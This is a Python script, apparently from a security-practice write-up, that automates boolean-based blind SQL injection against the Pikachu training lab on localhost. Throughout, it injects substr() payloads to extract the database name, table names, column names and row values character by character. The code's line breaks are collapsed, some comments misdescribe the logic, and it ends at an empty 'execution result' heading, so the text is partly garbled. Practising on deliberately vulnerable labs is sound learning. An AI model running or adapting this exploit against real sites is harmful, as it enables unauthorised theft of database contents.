import requests
from bs4 import BeautifulSoupurl = "http://localhost:8086/pikachu-master/vul/sqli/sqli_blind_b.php"def get_database_name(url):dataname = '' # 初始化一个空字符串用于存储数据库名dict = 'abcdefghijklmnopqrstuvwxyz ' # 数据库名可能存在这些字段中的任意一个i = 1while True:for j in dict: # 遍历dict中的字符payload = {'name': "admin' and substr(database(),%d,1) ='%s'-- " % (i, j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload) # 发送请求soup = BeautifulSoup(response.text, 'html.parser') # 解析响应内容token = soup.find_all('p', class_="notice")[0].text # 找到页面中的提示信息if 'uid' in token: # 如果提示信息中包含uid,说明数据库名可能存在该字符if j != ' ': # 如果该字符为z,说明数据库名可能存在该字符dataname += j # 将该字符添加到数据库名中i += 1else: # 如果该字符为 ',说明数据库名可能存在该字符,但由于该字符在数据库名中是最后一个,所以不再添加return datanamedatabase_name = get_database_name(url)
print("数据库名为:" + database_name)def get_table_name(url, database_name):table_name = "" # 初始化一个空字符串用于存储表名dict = 'abcdefghijklmnopqrstuvwxyz, ' # 表名可能存在这些字段中的任意一个i = 1while True:for j in dict:payload = {'name': "admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%d,1) ='%s'-- " % (database_name, i, j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload) # 发送请求soup = BeautifulSoup(response.text, 'html.parser') # 解析响应内容token = soup.find_all('p', class_="notice")[0].text # 找到页面中的提示信息if 'uid' in token: # 如果提示信息中包含uid,说明表名可能存在该字符if j != ' ':table_name += ji += 1else:return table_name # 找到表名后返回database_name = input("请输入您要查询的数据库名:")
table_name = get_table_name(url, database_name)
print("表名为:" + table_name)def get_column_name(url, database_name, table_name):column_name = '' # 初始化一个空字符串用于存储列名dict = 'abcdefghijklmnopqrstuvwxyz, ' # 列名可能存在这些字段中的任意一个i = 1while True:for j in dict: # 遍历dict中的字符payload = {'name': "admin' and substr((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'),%d,1) ='%s'-- " % (database_name, table_name, i, j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload) # 发送请求soup = BeautifulSoup(response.text, 'html.parser') # 解析响应内容token = soup.find_all('p', class_="notice")[0].text # 找到页面中的提示信息if 'uid' in token: # 如果提示信息中包含uid,说明列名可能存在该字符if j != ' ': column_name += j # 将该字符添加到列名中i += 1else: return column_name # 找到列名后返回table_name = input('请输入您要查询的表名:')
column_name = get_column_name(url, database_name, table_name)
print("列名为:" + column_name)def get_value(url,table_name,column_name1,column_name2):value= ''dict = 'abcdefghijklmnopqrstuvwxyz1234567890, 'i = 1while True:for j in dict: # 遍历dict中的字符payload = {'name': "admin' and substr((select group_concat(concat(%s,',',%s)) from %s),%d,1) ='%s'-- " % (column_name1, column_name2 , table_name,i,j),# 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较'submit': "%E6%9F%A5%E8%AF%A2"}response = requests.request("get", url, params=payload) # 发送请求soup = BeautifulSoup(response.text, 'html.parser') # 解析响应内容token = soup.find_all('p', class_="notice")[0].text # 找到页面中的提示信息if 'uid' in token:if j != ' ':value += ji += 1else:return valueinput_value = input('请输入您要查询的列名1:')
input_value2 = input('请输入您要查询的列名2:')
value = get_value(url, table_name, input_value, input_value2)
print("查询结果为:" + value)
执行结果